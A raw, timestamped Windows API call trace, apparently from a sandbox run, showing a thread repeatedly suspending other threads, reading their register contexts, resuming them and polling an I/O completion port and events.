	[0246.482] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0246.555] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x198) returned 1
	[0246.555] SuspendThread (hThread=0x198) returned 0x0
	[0246.555] GetThreadContext (in: hThread=0x198, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70703ff508, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0246.770] ResumeThread (hThread=0x198) returned 0x1
	[0246.770] CloseHandle (hObject=0x198) returned 1
	[0246.771] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0246.947] SwitchToThread () returned 1
	[0247.009] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0247.109] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0247.110] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0247.140] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0247.141] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0247.141] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x198) returned 1
	[0247.141] SuspendThread (hThread=0x198) returned 0x0
	[0247.141] GetThreadContext (in: hThread=0x198, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70703ff518, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0247.185] ResumeThread (hThread=0x198) returned 0x1
	[0247.185] CloseHandle (hObject=0x198) returned 1
	[0247.185] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0247.243] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0247.243] SetEvent (hEvent=0xe4) returned 1
	[0247.243] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0247.265] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0247.265] SetEvent (hEvent=0xe4) returned 1
	[0247.265] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0247.268] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0247.268] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0247.336] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0247.337] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0247.337] SetEvent (hEvent=0xe4) returned 1
	[0247.337] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0247.339] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0247.339] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0248.195] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0248.195] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0248.195] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x174, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1a8) returned 1
	[0248.195] SuspendThread (hThread=0x1a8) returned 0x0
	[0248.195] GetThreadContext (in: hThread=0x1a8, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x7070fff9d8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d56a4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0248.238] ResumeThread (hThread=0x1a8) returned 0x1
	[0248.238] CloseHandle (hObject=0x1a8) returned 1
	[0248.238] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0248.401] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0248.401] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x174, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x120) returned 1
	[0248.401] SuspendThread (hThread=0x120) returned 0x0
	[0248.401] GetThreadContext (in: hThread=0x120, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000bfd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0248.471] ResumeThread (hThread=0x120) returned 0x1
	[0248.471] CloseHandle (hObject=0x120) returned 1
	[0248.471] SetEvent (hEvent=0x1a0) returned 1
	[0248.471] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0248.569] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0248.569] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x174, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x120) returned 1
	[0248.569] SuspendThread (hThread=0x120) returned 0x0
